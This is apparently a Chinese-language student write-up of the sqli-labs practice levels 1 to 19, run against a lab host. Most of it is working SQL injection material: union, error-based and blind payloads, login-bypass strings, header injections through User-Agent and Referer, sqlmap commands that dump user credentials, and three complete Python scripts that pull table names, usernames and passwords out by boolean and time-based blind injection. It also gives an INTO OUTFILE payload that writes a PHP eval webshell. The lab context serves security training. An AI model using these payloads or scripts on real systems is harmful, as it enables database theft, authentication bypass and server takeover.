GET型正确的sql语句一般为:
select * from table where id = 'input'
select * from table where id = "input"
select * from table where id = ("input")
select * from table where id = ('input')
select * from table where id = ("'input'")
通过这些进行猜测。
实验一 基于错误的GET单引号字符型注入
页面中黄字提示输入ID作为参数,输入?id=1
:
输入?id=1'
,前端有报错回显:near ''1'' LIMIT 0,1' at line 1
,猜测sql后台语句为select * from table where id='input'
,判断是字符型注入。
1、手工注入
用 order by 判断字段数
?id=1' order by 3 --+
回显正常
?id=1' order by 4 --+
回显报错,说明字段数为3
⭐注意
这里发现给的教程中是用–+起到注释之后语句的作用,用#会报错:
这里查到是因为url中#号是用来指导浏览器动作的(例如锚点),对服务器端完全无用,所以HTTP请求中不包括#
。
将#号改成url的编码%23
即可。
确定查询回显位置
id=-1' union select 1,2,3%23
其中,-1 的作用是查询不存在的值,使得结果为空。
根据页面回显,可在2
或3
的位置加入想要查询的内容。
database()
查询当前的数据库
id=-1' union select 1,2,database()%23
当前数据库为:security
也可以通过:id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata%23
查询所有数据库:
获取数据库中的table
id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23
security数据库中共有4张表:emails,referers,uagents,users
获取表中的字段
id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'%23
users表中有三个字段:id,username,password
获得字段中的数据
通过group_concat()
函数聚合,使得一个字段中显示多个表项:
id=-1' union select 1,group_concat(id,username),group_concat(password) from users%23
2、sqlmap
GET型
python sqlmap.py -u "http://10.12.202.251:26700/Less-1/?id=1"
python sqlmap.py -u "http://10.12.202.251:26700/Less-1/?id=1" --dbs
python sqlmap.py -u "http://10.12.202.251:26700/Less-1/?id=1" -D security --tables
python sqlmap.py -u "http://10.12.202.251:26700/Less-1/?id=1" -D security -T users --columns
python sqlmap.py -u "http://10.12.202.251:26700/Less-1/?id=1" -D security -T users -C "id,password,username" --dump
实验二 基于错误的GET整型注入
输入id=1
:
输入id=1'
有报错回显near '' LIMIT 0,1' at line 1
,猜测后台sql语句:select * from where id=('input')
再输入id=1 and 1=1 #
和id=1 and 1=2 #
进行测试:(这里用#
不报错)
判断是数字型sql注入漏洞。
具体的注入过程参考实验一,只需要把id=-1'
改为id=-1
即可。结果同实验一。
实验三 基于错误的GET单引号变形字符型注入
输入id=1
正常回显:
输入id=1'
,有报错显示:near ''1'') LIMIT 0,1' at line 1
,可以发现有一个)
,猜测后台sql语句:select * from where id=('input')
输入?id=1') and 1=1%23
进行测试,正常回显:
输入?id=1') and 1=2%23
进行测试,无回显,说明猜测成功:
接下来的注入过程同实验一,只需要把id=-1'
改为id=-1')
即可
实验四 基于错误的GET双引号字符型注入
输入?id=1
,正常回显:
输入?id=1'
,也可以正常回显:
再尝试输入?id=1"
,产生报错:near '"1"") LIMIT 0,1' at line 1
,猜测后台sql语句:select * from where id=("input")
构造输入进行测试。
输入id=1 ") and 1=1%23
,正常回显:
输入id=1 ") and 1=2%23
,无回显,说明猜测正确:
接下来的注入过程同实验一,只需要把id=-1'
改为id=-1")
即可
实验五 双注入GET单引号字符型注入
输入?id=1
,回显You are in...........
输入?id=1'
,产生报错回显:near ''1'' LIMIT 0,1' at line 1
,猜测后台sql语句为:select * from where id=('input')
构造输入进行验证:
id=1' and 1=1%23
,正常回显:
id=1' and 1=2%23
,无回显,说明猜测正确。
手工注入
用 order by 判断字段数
?id=1' order by 3 %23
回显正常
?id=1' order by 4%23
回显报错,说明字段数为3
确定查询回显位置
id=-1' union select 1,2,3%23
这时并没有像实验一那样有显式的返回,猜测存在盲注,所以这里不能使用union注入。
通过之前的猜测验证,说明可以输入判断语句,通过是否有回显验证判断是是否正确。
1、布尔盲注
猜测数据库长度
输入id=1' and length(database())>=1%23
,正常回显;一直试到>=9
,无回显,说明数据库长度为8
猜测数据库第一位字符
可以利用left
函数:left(a,b)
从左侧截取a的前b位
也可以利用substr
函数:substr(a,b,c)
从b位置开始,截取字符串a的c长度,如substr(database(),1,1)='s'
用二分法猜测:?id=1' and left(database(),1)>'m'%23
继续猜测:id=1' and left(database(),1)>'t'%23
id=1' and left(database(),1)>'q'%23
id=1' and left(database(),1)>'r'%23
,最后试出来数据库第一位是s
,然后可以依次试下去,可以通过burp suite的爆破模块自动爆破。
最后的到数据库为:security
猜测数据库中的数据表
id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)>'a'%23
改变limit
函数和substr
的索引值可以继续往后猜测:
猜测数据表的第二位字符:substr(**,2,1)
猜测第二个数据表:limit 1,1
(limit 0,1
:从第0个开始,获取第一个)
最后获得表为users
获取users表中的数据
猜测users
表中是否存在us**
的列:
id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1 )%23
正常回显,说明存在:
猜测是否存在username
列:
id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1 )%23
正常回显,说明存在:
获取users
表的内容:根据回显进行猜测。
id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68%23
2、双注入⭐
这里也可以通过双注入的方法进行爆破,就不需要猜测了。
双注入:当在一个聚合函数后(比如count函数),使用分组语句就会把查询的一部分以错误的形式显示出来。
利用函数:
rand():生成随机数,返回0到1之间的一个值
floor():取整函数
count():聚合函数,用户返回符合条件的记录数量。
原理
当
floor()
,count()
,group by
遇到一起在from
一个3行以上的表时,就会产生一个主键重复的报错,而此时把想显示的信息构造到主键里面,mysql
就会通过报错把这个信息显示到页面上
双注入模板:
select count(*),concat((payload), floor(rand(0)*2)) as a from information_schema.tables group by a
爆破数据库
得到库名security
?id=1' union select -1, count(*), concat((select database()), '---', floor(rand(0)*2)) as a from information_schema.tables group by a %23
⭐注意:以下语句也可以进行爆破数据库,而且可以通过修改limit
的值爆破其他的库名:
?id=1' and (select 1 from (select count(*),concat((select concat(schema_name,';') from information_schema.schemata limit 0,1),floor(rand()*2)) as x from information_schema.tables group by x) as a)%23
爆破数据表
通过limit
数值的改变爆破不同的数据表(这里本来想用group_concat
一起显示,但是失败了)
?id=1' union select 1, count(*),concat((select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'---', floor(rand(0)*2)) as a from information_schema.tables group by a%23
当超过数量后就不会有错误回显:
爆破字段
通过修改limit
爆破不同的字段
?id=1' union select 1, count(*),concat((select concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),'---', floor(rand(0)*2)) as a from information_schema.tables group by a%23
爆破数据值
?id=-1' union select count(*),1, concat((select concat_ws(id,username,password) from users limit 1,1),'---',floor(rand(0)*2)) as a from information_schema.tables group by a%23
详细内容参考教程:
https://blog.csdn.net/weixin_43901998/article/details/105227678
https://blog.csdn.net/Mitchell_Donovan/article/details/115335855
3、sqlmap
python sqlmap.py -u "http://10.12.202.251:24914/Less-5/?id=1"
(比起实验一少了union query的类型)
接下来的步骤同实验一:
python sqlmap.py -u "http://10.12.202.251:24914/Less-5/?id=1" --dbs
python sqlmap.py -u "http://10.12.202.251:24914/Less-5/?id=1" -D security --tables
python sqlmap.py -u "http://10.12.202.251:24914/Less-5/?id=1" -D security -T users --columns
python sqlmap.py -u "http://10.12.202.251:24914/Less-5/?id=1" -D security -T users -C "id,password,username" --dump
实验六 双注入GET双引号字符型注入
输入?id=1
,同样没有回显,只显示You are in…….
输入?id=1'
,也可以正常回显:
再尝试输入?id=1"
,回显报错信息:near '"1"" LIMIT 0,1' at line 1
,猜测后台sql语句:select * from where id =("input")
构造输入进行验证:
?id=1" and 1=1%23
,正常回显
?id=1" and 1=2%23
,无回显,说明猜测正确
之后的步骤和实验五相同,只不过要把?id=1'
改为?id=1"
实验七 导出文件GET字符型注入
尝试输入:?id=1' or 1=1%23
、?id=1" or 1=1%23
、?id=1') or 1=1%23
都失败了。
输入?id=1')) or 1=1%23
成功:
1、布尔盲注
同实验5,把?id=1'
改为?id=1'))
即可。这道题不能用双注入。
2、导出文件注入
首先通过?id=1')) order by 4%23
判断字段数为3
查看是否有写入权限
本关有提示使用file权限向服务器写入文件,首先查看是否有写入权限:
输入?id=1')) and (select count(*) from mysql.user)>0%23
,正常回显,说明有写入权限。
然后正常的步骤应该是:
?id=-1')) union select 1,2,3 into outfile "xxxx\\try.php" %23
?id=-1')) union select 1,2,"<?php @eval($_POST['sql']);?>" into outfile "xxxx\\try1.php" %23
(写入webshell)
但是因为没有在kali靶机上写成功,没有自己实现
教程:https://www.jianshu.com/p/7b9256de20d1
实验八 布尔型单引号GET盲注
当输入id=1
时有回显:You are in……
但是输入id=1'
时没有回显,再输入id=1' and 1=1 %23
和id=1' and 1=2 %23
进行验证,前者有回显后者没有。确定了是字符型注入。
手工注入过程和实验五相同。
网上找到了py脚本:
from urllib import request
from urllib import parse
import re
url = "http://10.12.202.251:21041/Less-8/?id="
# 1 查数据库
# def length():
database_length = 0
while True:
param = "1' and length(database()) =" + str(database_length) + " #"
response = request.urlopen(url + parse.quote(param)).read().decode()
if re.search("You are in", response):
# print("DATABASE_LENGTH:"+str(database_length))
break
else:
database_length += 1
# 尝试二分法扫描
db_name = ""
for l in range(database_length):
a, b = 64, 64
while True:
b = int(b / 2)
param = "1' and ascii(substr(database()," + str(l + 1) + "))<" + str(a) + "#"
response = request.urlopen(url + parse.quote(param)).read().decode()
if re.search("You are in", response):
a -= b
else:
param = "1' and ascii(substr(database()," + str(l + 1) + ")) =" + str(a) + " #"
response = request.urlopen(url + parse.quote(param)).read().decode()
if re.search("You are in", response):
db_name += chr(a)
break
else:
a += b
print("db_name:" + db_name)
# 2 查表数量
print('table:')
table_num = 0
while True:
param = "1' and (select count(*) from information_schema.tables where table_schema=database())=" + str(
table_num) + " #"
response = request.urlopen(url + parse.quote(param)).read().decode()
if re.search("You are in", response):
# print("table_num:"+str(table_num))
break
else:
table_num += 1
# 查表长度
def ta_length(num):
table_length = 0
while True:
param = "1' and length(substr((select table_name from information_schema.tables where table_schema=database() " \
"limit " + str(num) + ",1),1))=" + str(table_length) + " #"
response = request.urlopen(url + parse.quote(param)).read().decode()
if re.search("You are in", response):
return table_length
else:
table_length += 1
# 查表
for n in range(table_num):
table_name = ""
for l in range(ta_length(n)): # 表的长度
for a in range(0, 128): # 爆破表
param = "1' and ascii(substr((select table_name from information_schema.tables where " \
"table_schema=database() limit " + str(n) + ",1)," + str(l + 1) + ",1)) =" + str(a) + " # "
response = request.urlopen(url + parse.quote(param)).read().decode()
if re.search("You are in", response):
table_name += chr(a)
break
print("[*]:" + table_name)
# 3 查字段
# 查字段个数
columns_num = 0
while True:
# 11111
param = "1' and (select count(*) from information_schema.columns where table_name='users')=" + str(columns_num) + " #"
response = request.urlopen(url + parse.quote(param)).read().decode()
if re.search("You are in", response):
print("columns:" + str(columns_num))
break
else:
columns_num += 1
# 查每个字段的长度
def co_length(num):
columns_length = 0
while True:
param = "1' and length(substr((select column_name from information_schema.columns where table_name='users' limit " + str(num) + ",1),1))=" + str(columns_length) + " #"
response = request.urlopen(url + parse.quote(param)).read().decode()
if re.search("You are in", response):
# print(columns_length)
return columns_length
else:
columns_length += 1
# 查每个字段的值
for n in range(columns_num):
columns_name = ""
for l in range(co_length(n)): # 表的长度
for a in range(0, 128): # 爆破表
param = "1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit " + str(n) + ",1)," + str(l + 1) + ",1)) =" + str(a) + " # "
response = request.urlopen(url + parse.quote(param)).read().decode()
if re.search("You are in", response):
columns_name += chr(a)
break
print("[*]:" + columns_name)
# 下载数据
# 查 username
num = 0
while True:
param = "1' and (select count(*) from users )= " + str(num) + "#"
response = request.urlopen(url + parse.quote(param)).read().decode()
if re.search("You are in", response):
print("num:" + str(num))
break
else:
num += 1
def length(num):
user_length = 0
while True:
param = "1' and length(substr((select username from users limit " + str(num) + ",1),1))=" + str(
user_length) + " #"
response = request.urlopen(url + parse.quote(param)).read().decode()
if re.search("You are in", response):
# print(user_length)
return user_length
else:
user_length += 1
def Name(value1, value2):
for n in range(num):
columns_name = ""
for l in range(length(n)): # 表的长度
for a in range(0, 128): # 爆破表
param = "1' and ascii(substr((select " + value1 + " from users limit " + str(n) + ",1)," + str(
l + 1) + ",1)) =" + str(a) + " #"
response = request.urlopen(url + parse.quote(param)).read().decode()
if re.search("You are in", response):
columns_name += chr(a)
break
print("[*]:" + columns_name, end=":")
columns_name2 = ""
for l in range(length(n)): # 表的长度
for a in range(0, 128): # 爆破表
param = "1' and ascii(substr((select " + value2 + " from users limit " + str(n) + ",1)," + str(
l + 1) + ",1)) =" + str(a) + " #"
response = request.urlopen(url + parse.quote(param)).read().decode()
if re.search("You are in", response):
columns_name2 += chr(a)
break
print(columns_name2)
Name("username", "password")
实验九 基于时间的GET单引号盲注
常见包裹形式:
1,(1),((1))
'1',('1'),(('1'))
"1",("1"),(("1"))
这里都试了一下,都可以正常回显。
再测试是否存在时间盲注,发现只有?id=1' and sleep(5) %23
有明显延迟,存在字符型时间盲注。
时间盲注多与
IF(expr1,expr2,expr3)
结合使用,此if语句含义是:如果expr1
是TRUE
,则IF()
的返回值为expr2
;否则返回值则为expr3
。 例:if (length(database())>1,1,sleep(5))
,查看当前数据库的长度是否大于1,大于1则查询1,小于1则MySQL查询休眠5秒if (substr(database()),1,1='s',1,sleep(5))
,查看当前数据库的第一个字母是否为’s’,为’s’则查询1,不为’s’则MySQL查询休眠5秒
所以这道题和第八题类似,只是增加了if语句。
判断当前数据库长度:
?id=1' and if(length(database())=8,1,sleep(5)) %23
查看当前数据库的第一个字母:
?id=1' and if(substr(database(),1,1)='a',1,sleep(5)) %23
查看security库下的第一张表的第一个字母:
?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='s',1,sleep(5)) %23
查看users表下的第一个字段的第一个字母:
?id=1' and if(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='s',1,sleep(5)) %23
查username字段的第一个值的第一个字母:
?id=1' and if(substr((select username from security.users limit 0,1),1,1)='s',1,sleep(5)) %23
也可以对实验八的脚本进行修改,增加time:
from urllib import request
from urllib import parse
from time import time
url = "http://10.12.202.251:21041/Less-9/?id="
#1 查数据库
database_length = 0
while True:
param = "1' and if(length(database())="+str(database_length)+",sleep(0.1),1) #"
t = time()
response = request.urlopen(url + parse.quote(param))
if ( time() - t > 0.1 ):
print("DATABASE_LENGTH:"+str(database_length))
break
else:
database_length += 1
db_name = ""
for l in range(database_length):
for a in range(128):
param = "1' and if(ascii(substr(database()," + str(l+1) + "))=" + str(a) + ",sleep(0.1),1) #"
t = time()
response = request.urlopen(url + parse.quote(param))
if (time()-t >0.1):
db_name += chr(a)
break
print("[*]:"+db_name)
#2 查表数量
table_num = 0
while True:
param = "1 ' and if((select count(*) from information_schema.tables where table_schema=database())="+str(table_num)+",sleep(0.1),1) #"
t = time()
response = request.urlopen(url + parse.quote(param))
if (time() - t > 0.1 ):
print("table_num:"+str(table_num))
break
else:
table_num += 1
# 查表长度
def ta_length(num):
table_length = 0
while True:
param = "1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit "+str(num)+",1),1))="+str(table_length)+",sleep(0.1),1) #"
t = time()
response = request.urlopen(url + parse.quote(param))
if (time() - t > 0.1 ):
return table_length
break
else:
table_length += 1
# 查表
for n in range(table_num):
table_name =""
for l in range(ta_length(n)): # 表的长度
for a in range(0,128): #爆破表
param = "1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+",sleep(0.1),1) #"
t = time()
response = request.urlopen(url + parse.quote(param))
if (time() - t > 0.1 ):
table_name += chr(a)
break
print("table_name:" + table_name)
# 3 查字段
# 查字段个数
columns_num = 0
while True:
param = "1' and if((select count(*) from information_schema.columns where table_name='users')="+str(columns_num)+",sleep(0.1),1) #"
t = time()
response = request.urlopen(url + parse.quote(param))
if (time() - t > 0.1):
print("columns_name:"+str(columns_num))
break
else:
columns_num += 1
# 查每个字段的长度
def co_length(num):
columns_length = 0
while True:
param = "1' and if(length(substr((select column_name from information_schema.columns where table_name='users' limit "+str(num)+",1),1))="+str(columns_length)+",sleep(0.1),1) #"
t = time()
response = request.urlopen(url + parse.quote(param))
if (time() - t > 0.1):
return columns_length
break
else:
columns_length += 1
# 查每个字段的值
for n in range(columns_num):
columns_name =""
for l in range(co_length(n)): # 表的长度
for a in range(0,128): #爆破表
param = "1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+",sleep(0.1),1) #"
t = time()
response = request.urlopen(url + parse.quote(param))
if (time() - t > 0.1):
columns_name += chr(a)
break
print("table_name:" +columns_name)
# 下载数据
# 查 username
num = 0
while True:
param = "1' and if((select count(*) from users )= "+str(num)+",sleep(0.1),1)#"
t = time()
response = request.urlopen(url + parse.quote(param)).read().decode()
if (time() - t > 0.1):
print("num:"+str(num))
break
else:
num += 1
def length(num):
user_length = 0
while True:
param = "1' and if(length(substr((select username from users limit"+str(num)+",1),1))="+str(user_length)+",sleep(0.1),1) #"
t = time()
response = request.urlopen(url + parse.quote(param)).read().decode()
if (time() - t > 0.1):
print(user_length)
return user_length
break
else:
user_length += 1
def Name(value1,value2):
for n in range(num):
columns_name1 = columns_name2 = ""
for l in range(length(n)): # 表的长度
for a in range(0,128): #爆破表
param = "1' and if(ascii(substr((select "+value1+" from users limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+",sleep(0.1),1) #"
t = time()
response = request.urlopen(url + parse.quote(param))
if (time() - t > 0.1 ):
columns_name1 += chr(a)
break
for a in range(0,128): #爆破表
param = "1' and if(ascii(substr((select "+value2+" from users limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+",sleep(0.1),1) #"
t = time()
response = request.urlopen(url + parse.quote(param))
if (time() - t > 0.1 ):
columns_name2 += chr(a)
break
print(columns_name1+":"+columns_name2)
Name("username","password")
实验十 基于时间的双引号盲注
发现当输入?id=1" and sleep(5) %23
时触发时间注入,同第九题,只要把?id=1'
替换成?id=1"
即可
实验十一 基于错误的PSOT单引号字符
常见post类型的后台sql语句
SELECT username, password FROM 用户表 WHERE username='input' and password='input' ;
SELECT username, password FROM 用户表 WHERE username='input' and password='input' ;
SELECT username, password FROM 用户表 WHERE username="input" and password='input' ;
构造poc(万能密码)
admin ' or 1=1 --+
用户名和密码输入admin,admin,发现有回显:
抓包可以发现post的uname和passwd:
尝试用户名输入admin'
,密码随意,产生报错use near '1' LIMIT 0,1' at line 1
猜测是字符型POST:
输入uname=admin'or'1'='1
有回显
输入uname=admin'and'1'='2
无回显,证明猜测正确。
1、手工注入
因为有回显,所以可以采取union联合查询:
用 order by 判断字段数
uname=admin' order by 3 #
,回显报错,但是输入2正常回显,说明共有2个字段。
确定回显位置
uname=-1' union select 1,2#
查询数据库
uname=-1' union select 1,database()#
⭐查询所有数据库:
uname=-1' union select 1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)#
获取数据库中的table
uname=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
security数据库中共有4张表:emails,referers,uagents,users
获取表中的字段
uname=-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#
users表中有三个字段:id,username,password
获得字段中的数据
通过group_concat()
函数聚合,使得一个字段中显示多个表项:
uname=-1' union select group_concat(id,username),group_concat(password) from users#
2、sqlmap
python sqlmap.py -u "http://10.12.202.251:22699/Less-11/" --forms
python sqlmap.py -u "http://10.12.202.251:22699/Less-11/" --forms --dbs
接下来的命令和GET型差不多,只是需要多加--forms
参数:
python sqlmap.py -u "http://10.12.202.251:22699/Less-11/" --forms -D security --tables
python sqlmap.py -u "http://10.12.202.251:22699/Less-11/" --forms -D security -T users --columns
python sqlmap.py -u "http://10.12.202.251:22699/Less-11/" --forms -D security -T users -C "id,username,password" --dump
实验十二 基于错误的双引号POST型字符变形注入
输入uname=admin"
产生报错回显,看到有)
,猜测后台语句为:SELECT username, password FROM 用户表 WHERE username=("input") and password=("input") ;
构造poc进行验证:
uname=admin") and 1=1#
有回显
uname=admin") and 1=2#
无回显,证明猜想正确。
之后的步骤同实验11,只要把uname=admin'
换成uname=admin”)
即可
实验十三 POST 单引号变形双注入
输入admin
&admin
无正确回显。
输入admin'
有报错回显:near 'admin') LIMIT 0,1' at line 1
,猜测后台语句:SELECT username, password FROM 用户表 WHERE username=('input') and password=('input');
构造poc:admin ') or 1=1 #
,没有任何显示,说明猜想正确。
通过双注入的方法:
查询数据库
和实验五一样,通过修改limit
的值查询不同的数据库:
uname=admin') and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #
查询数据库中的表
uname=admin') and (select 1 from (select count(*),concat((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="security" limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #
查表中的字段
uname=admin') and (select 1 from (select count(*),concat((SELECT column_name FROM information_schema.columns where table_schema='security' and table_name='users' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #
查数据
uname=admin') and (select 1 from (select count(*),concat((select concat_ws(id,username,password) from users limit 1,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #
实验十四 POST双引号变形双注入
输入uname=admin"
有报错回显,猜测后台语句:SELECT username, password FROM 用户表 WHERE username=("input") and password=("input");
构造poc:admin" or 1=1 #
,没有任何显示,说明猜想正确。
接下来的步骤同实验十三,只需要把admin')
改为admin"
实验十五 基于bool型/时间延迟单引号POST型盲注
把之前提到过的常见的payload都试了一遍发现都没有回显,猜测可能存在盲注,尝试
admin'and if(ascii(substr(database(),1,1))=114,1,sleep(5))#
存在明显延迟,说明存在时间盲注。
下面是时间盲注的脚本:
import requests
from time import time
url = "http://10.12.202.251:22699/Less-15/"
char = "abcdefghijklmnopqrstuvwxyz_"
password = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-@!"
def database():
for i in range(0, 10):
database = ""
for j in range(1, 20):
for str in password:
time1 = time()
data = {
'uname': "admin' and If((mid((select schema_name from information_schema.schemata limit %d,1),%d,1))='%s',sleep(0.1),1)#" % (i, j, str), 'passwd': "1"}
res = requests.post(url, data=data)
time2 = time()
if time2 - time1 > 0.1:
database += str
break
print("the %d database: " % (i + 1))
print(database)
def table():
for i in range(0, 10):
table = ""
for j in range(1, 20):
for str in char:
time1 = time()
data = {
'uname': "admin' and If((mid((select table_name from information_schema.tables where table_schema='security' limit %d,1),%d,1))='%s',sleep(0.1),1)#" % (i, j, str), 'passwd': "1"}
res = requests.post(url, data=data)
time2 = time()
if time2 - time1 > 0.1:
table += str
break
print("the %d table: " % (i + 1))
print(table)
def column():
for i in range(0, 10):
column = ""
for j in range(1, 20):
for str in char:
time1 = time()
data = {
'uname': "admin' and If((mid((select concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit %d,1),%d,1))='%s',sleep(0.1),1)#" % (i, j, str), 'passwd': "1"}
res = requests.post(url, data=data)
time2 = time()
if time2 - time1 > 0.1:
column += str
break
print("the %d column: " % (i + 1))
print(column)
def data_value():
for i in range(0, 10):
value = ""
for j in range(1, 20):
for str in char:
time1 = time()
data = {
'uname': "admin' and If((mid((select concat_ws(id,username,password) from users limit %d,1),%d,1))='%s',sleep(0.1),1)#" % (i, j, str), 'passwd': "1"}
res = requests.post(url, data=data)
time2 = time()
if time2 - time1 > 0.1:
value += str
break
print("the %d value: " % (i + 1))
print(value)
if __name__ == "__main__":
print("start!")
data_value()
print("end!")
运行结果:
实验十六 post方法双引号括号绕过时间盲注
尝试admin' and if(ascii(substr(database(),1,1))=115,1,sleep(5))#
失败
尝试admin" and if(ascii(substr(database(),1,1))=115,1,sleep(5))#
失败
尝试admin") and if(ascii(substr(database(),1,1))=115,1,sleep(5))#
成功
其他步骤同实验15,只需要把脚本中的admin'
改为admin")
即可。
【一些原理】
- 用户输入的数据被sql解释器执行,通过猜测后台的sql语句,进行恶意的sql语句查询。
- mysql增删改语句:
1、增:
insert into users values('66','name','pass');
2、删:
delete from 表名;
delete from 表名where id=1;
删数据库:drop database 数据库名;
删除表:drop table 表名;
删除表中的列:alter table 表名drop column 列名;
3、改:
修改所有:updata 表名set 列名='新的值,非数字加单引号' ;
带条件的修改:updata 表名set 列名='新的值,非数字加单引号' where id=6;
实验十七 基于错误的更新查询POST注入
这题传入账号和想要重置的密码,当输入合法时,提示密码修改成功。
这道题目严格检查了uname
,但是没有严格检查password
,说明注入点在password
。
输入passwd=admin'
,发现报错回显:near 'admin'' at line 1
,说明是单引号闭合(字符型注入)。
利用双注入:
查询数据库
uname=admin&passwd=1' and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #
查询数据库中的表
uname=admin&passwd=1' and (select 1 from (select count(*),concat((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="security" limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #
查表中的字段
uname=admin&passwd=1' and (select 1 from (select count(*),concat((SELECT column_name FROM information_schema.columns where table_schema='security' and table_name='users' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #
查数据
uname=admin&passwd=1' and (select 1 from (select count(*),concat((select concat_ws(id,username,password) from users limit 1,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #
实验十八 基于错误的用户代理,头部POST注入
首先输入admin
&admin
进行测试,发现回显user-agent:
猜测User-Agent是注入点,尝试控制:User-Agent: 1
输入:User-Agent: 1'
,发现有报错回显,说明是用单引号闭合的。
之后的payload可以参考实验十七,只是要放在User-Agent=1'
后面,并且这里最后不能用#
注释掉之后的内容(会报错),改成or '1'='1
1、手工注入
payload:
查询数据库
User-Agent: 1' and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1
查询数据库中的表
User-Agent: 1' and (select 1 from (select count(*),concat((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="security" limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1
查表中的字段
User-Agent: 1' and (select 1 from (select count(*),concat((SELECT column_name FROM information_schema.columns where table_schema='security' and table_name='users' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1
查数据
User-Agent: 1' and (select 1 from (select count(*),concat((select concat_ws(id,username,password) from users limit 1,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1
2、sqlmap
从BurpSuite中把请求信息复制到txt文件中,把User-Agent
的值设为*。
python sqlmap.py -r Less-18.txt
其中:-r
:sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等)
之后的步骤同之前的sqlmap。
实验十九 基于头部的RefererPOST报错注入
首先输入admin
&admin
进行测试,发现回显referer:
同样测试referer是否为注入点。输入Referer: 1'
有报错回显,和实验十八一样都是用单引号闭合。
1、手工注入
所以构造的payload同实验十八,只需要把payload放在Referer
中。
2、sqlmap
同理实验18,先把request保存下来,把Rerferer
的值设为*。
python sqlmap.py -r Less-19.txt